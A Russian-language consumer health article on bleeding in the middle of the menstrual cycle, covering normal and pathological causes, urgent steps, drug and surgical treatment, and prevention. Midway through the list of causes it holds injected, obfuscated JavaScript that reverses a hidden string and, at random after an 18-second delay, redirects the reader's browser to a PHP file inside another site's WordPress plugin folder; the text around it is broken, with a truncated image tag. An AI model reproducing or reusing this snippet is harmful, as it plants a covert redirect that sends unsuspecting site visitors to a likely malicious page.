Каждая женщина внимательно следит за своим циклом и знает, когда ей стоит готовиться к очередным месячным. Это позволяет понимать своё самочувствие и состояние здоровья репродуктивной системы. Но когда кровь появляется слишком рано, в середине цикла, это может не на шутку напугать. Такое явление называют межменструальным кровотечением, оно может иметь самые разные по характеру причины.
Содержание
Что представляет собой межменструальное кровотечение
Менструальный цикл — это временной промежуток от первого дня последних месячных до первого дня следующих. Обычно вместе с менструацией, которая длится в среднем 3–4 дня, выделения крови заканчиваются вплоть до наступления следующего цикла. Если же они появились раньше, примерно на 10–20-й день, то можно говорить о явлении межменструального кровотечения.
Необходимо различать понятия межменструального кровотечения и кровянистых выделений. Последние встречаются у женщин довольно часто и обычно являются следствием неполного выхода масс во время менструации. Их отличительная черта — мажущий характер, отсутствие дополнительной симптоматики и непродолжительность.
Диагностическим критерием в случае с кровянистыми выделениями является объём крови — если он не требует применения гигиенических средств, то речь явно не идёт о кровотечении.
Также существует понятие метроррагия, или сильное маточное кровотечение. Это состояние ациклично и может возникать в любой момент, путая женщину, — большинство пациенток с метроррагией не могут чётко сказать, когда у них были предыдущие месячные и какова продолжительность их цикла. Кровотечение выступает следствием заболевания, поэтому требует обязательного медицинского вмешательства.
Отдельно стоит выделить такое явление, как пройоменорея, — укорочение менструального цикла. Так, у женщины могут появиться выделения раньше положенного срока, но если картина сохраняется 3 цикла подряд и более, то результаты обследования могут показать не межменструальное кровотечение, а сокращение продолжительности цикла.
Причины появления кровотечения в середине цикла
При появлении крови в середине цикла стоит тщательно оценить своё состояние. Причины такого явления могут быть как нормальными, не требующими лечения, так и носить патологический характер.
Когда кровотечение является нормой
Нормой появление кровотечений между циклами считается в случае продолжительности не более 3 дней, без беспокоящей симптоматики и тенденции к увеличению объёмов выделяемой крови. Физиологическими причинами, не требующими коррекции, считаются:
- овуляция. Примерно в середине цикла в яичнике у женщины созревает фолликул, лопается, и из него выходит готовая к оплодотворению яйцеклетка — это явление и называется овуляцией. Появление незначительного кровотечения в этот период считается нормальным, так как обусловлено колебаниями гормонов эстрогена и прогестерона, регулирующих репродуктивную женскую функцию. Если продолжительность выделений от 12 до 72 часов и их объём незначительный, то беспокоиться не стоит;
- внедрение внутриматочной спирали (противозачаточной системы). В процессе установки могут быть повреждены сосуды органа, из-за чего и появляется кровь;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/09/post_5ba28196106ab-728×674.jpg» alt=»Спираль в матке» width=»728″ height=»674″ /> Кровотечение может появиться после процедуры установки внутриматочной спирали
- резкая отмена приёма гормональных контрацептивов. Противозачаточные таблетки работают по принципу синдрома отмены — во время их приёма в организм поступает определённое количество гормонов (в течение 21 дня), после чего требуется перерыв, в рамках которого и начинается отторжение выстилки матки — менструация. Если резко бросить пить препараты в середине цикла, то, естественно, что организм отреагирует кровотечением;
- наступление беременности. Существует такое понятие, как имплантационное кровотечение. Оплодотворённая яйцеклетка, попав в полость матки, закрепляется в её стенке для дальнейшего развития. В процессе имплантации могут быть травмированы сосуды, которыми богаты стенки матки, что и вызывает появление непродолжительного кровотечения;
- становление менструального цикла и начало менопаузы. У молодых девушек, у которых появляются первые месячные, и при наступлении климакса у женщин постарше в организме происходят серьёзные гормональные перестройки, которые и могут вызывать преждевременную или частичную отслойку выстилки матки, приводя к кровотечениям вне менструации;
- неаккуратное поведение в сексе. Во время полового акта поведение партнёров может быть излишне активным, что вызывает травму слизистых влагалища и шейки матки и как результат — появляется кровотечение. В норме оно незначительное и непродолжительное и отмечается непосредственно после соития. Но если есть риск серьёзной травмы, например, при использовании опасных игрушек сексуального характера и тем более не предназначенных для этого предметов, и кровотечение не прекращается, то врачебная помощь всё же потребуется.
Патологические причины
Заподозрить наличие реальной проблемы, симптомом которой стало межменструальное кровотечение, поможет характер выделений. Так, если эпизоды выделения крови регулярны, отличаются большими объёмами и (или) не прекращаются более 3 дней, то однозначно стоит отправиться к врачу. Возможные причины:
- нарушения функции щитовидной железы и надпочечников, что привели к гормональному дисбалансу в организме. Как результат — нарушения процессов отслойки эндометрия и несвоевременные кровотечения;
- эндометриоз (излишнее разрастание внутренней выстилки матки внутри и вне её полости). Кровотечения возникают как следствие неправильного протекания процесса отторжения эндометрия;
- опухолевые образования в матке и яичниках, в том числе злокачественного характера. Кровотечения в таких ситуациях обычно обильные, частые, сопровождаются резкими болями и нарушениями репродуктивной функции;
- инфекционное заболевание органов репродуктивной системы. Воспаления матки, маточных труб и яичников могут иметь в своей клинической картине эпизоды кровотечений. Помимо этого, проблема сопровождается повышением температуры тела, болью внизу живота, нарушением мочеиспускания, появлением других выделений из влагалища (гнойных, сукровичных и пр.).
Иногда кровотечение, открывшееся в середине цикла, очень обильно и сопровождается выраженной болью, спазмами, выходом целых сгустков из влагалища. Такие симптомы могут говорить о выкидыше (отторжении плода на раннем сроке) или внематочной беременности. Женщине с такими проблемами необходима немедленная врачебная помощь.
Что делать при кровотечениях в середине цикла
Если появление крови в небольших количествах не доставляет физического дискомфорта и не сохраняется длительное время, никаких мероприятий по устранению проблемы проводить не нужно, достаточно просто немого подождать. Если же кровотечение обильно, то оно несёт угрозу для здоровья и жизни, поэтому женщине необходимо придерживаться следующих правил:
- незамедлительно обратиться к врачу, возможно, даже вызвать бригаду скорой помощи;
- прекратить приём лекарственных препаратов, особенно тех, что воздействуют на функции крови и тем более её разжижают;
- отказаться от любых процедур согревающего типа, в частности, от приёма ванны;
- прекратить выполнение физической работы;
- исключить реализацию каких-либо влагалищных процедур, в частности, спринцевания.
Врача лучше дождаться в полном покое, лёжа. Самостоятельно заниматься устранением кровотечения, особенно медикаментозным путём, не стоит, так как в этом вопросе большое значение имеет конкретная причина. Доктору стоит рассказать о продолжительности выделения крови, характере и наличии сопутствующих симптомов.
Принципы лечения при кровотечениях в середине цикла
Залог успешного лечения межменструальных кровотечений — установление причины такого явления. В зависимости от источников проблемы пациентке могут быть назначены следующие препараты:
- гормональные средства. Большинство проблем, что становятся толчком к появлению кровотечений, развиваются на фоне гормональных нарушений. Поэтому для восстановления баланса при эндометриозе, образовании кист, нарушении функционирования щитовидной железы и надпочечников назначается длительная гормональная терапия. Её цель — восстановление нормальной работы репродуктивной системы, профилактика новых заболеваний и устранение кровотечений. Примеры препаратов:
- Дюфастон;
- Даназол;
- Инжеста;
- антибиотики. Назначаются при воспалении, что вызвано бактериальной инфекцией (Азитромицин, Цефтриаксон и пр.);
- противогрибковые средства (Флуконазол, Пимафуцин, Дифлюкан) – необходимы при заражении грибковой инфекцией;
- гемостатические препараты. Их назначение актуально при кровопотерях в течение длительного времени, эффект гемостатиков — кровоостанавливающий. Это может быть Секометрин, Окситоцин и пр.
В ряде случаев лечение подразумевает хирургическое вмешательство. Так, при эндометриозе и после выкидыша проводится выскабливание для удаления лишних тканей из полости матки (гистероскопия). Обычно данная процедура осуществляется под общим наркозом и занимает около 20 минут. Если у женщины обнаружены патологические разрастания клеток, в том числе с подозрением на онкологический процесс, производят либо удаление новообразования, либо полную резекцию поражённого органа. В случаях частых и обильных кровопотерь это единственный путь сохранить здоровье. Операция может производиться как методом открытого доступа через разрез брюшной стенки, так и лапароскопическим путём (специальными инструментами, что вводятся через несколько маленьких проколов).
Фотогалерея: медикаменты для лечения патологии
-
- Кровотечение может появиться после процедуры установки внутриматочной спирали
-
- После оплодотворения яйцеклетка внедряется в выстилку матки, в процессе чего могут повреждаться сосуды и возникать кратковременное кровотечение
-
- Лапароскопия — метод удаления матки и (или) новообразований через несколько проколов в брюшной стенке
-
- Источником кровотечения в середине цикла может быть онкологическое заболевание, в частности рак шейки матки
-
- Под влиянием гормональных сбоев может развиваться эндометриоз, один из симптомов которого — кровотечение
-
- Если кровяные выделения не требуют применения гигиенических прокладок, то это не кровотечение
-
- Флуконазол угнетает активность ферментов грибов, нарушает их рост, размножение
-
- Окситоцин при маточных кровотечениях назначается для повышения тонуса матки, что способствует уменьшению и остановке кровопотери
-
- Дюфастон — синтетический аналог прогестерона — женского полового гормона
Профилактика кровотечения в середине цикла
Учитывая всё разнообразие причин, способных вызывать кровотечения, полностью исключить подобный риск невозможно, а в ряде ситуаций и не нужно, ведь выделение крови в середине цикла может быть и нормальным, физиологическим процессом. Для профилактики патологических причин нужно учитывать следующие рекомендации:
- постоянно следить за циклом, отмечая регулярность и продолжительность менструаций, эпизоды появления кровотечений;
- обращаться к врачу при возникновении тревожащих симптомов и полностью проходить назначенный курс лечения;
- минимум раз в год посещать гинеколога для осмотра, даже если нет никаких жалоб;
- отказаться от тяжёлых физических нагрузок;
- вести сексуальную жизнь с постоянным и проверенным партнёром.
Видео: межменструальные выделения
Межменструальное кровотечение — явление нередкое, особенно в периоды гормональных перестроек. Вызывать симптом могут как патологические процессы, в том числе и злокачественные опухоли, так и естественные факторы, среди которых и внедрение оплодотворённой яйцеклетки в стенку матки. Поэтому не стоит паниковать раньше времени, лучше при возникновении проблемы обратиться к врачу для постановки диагноза и при необходимости назначения лечения.
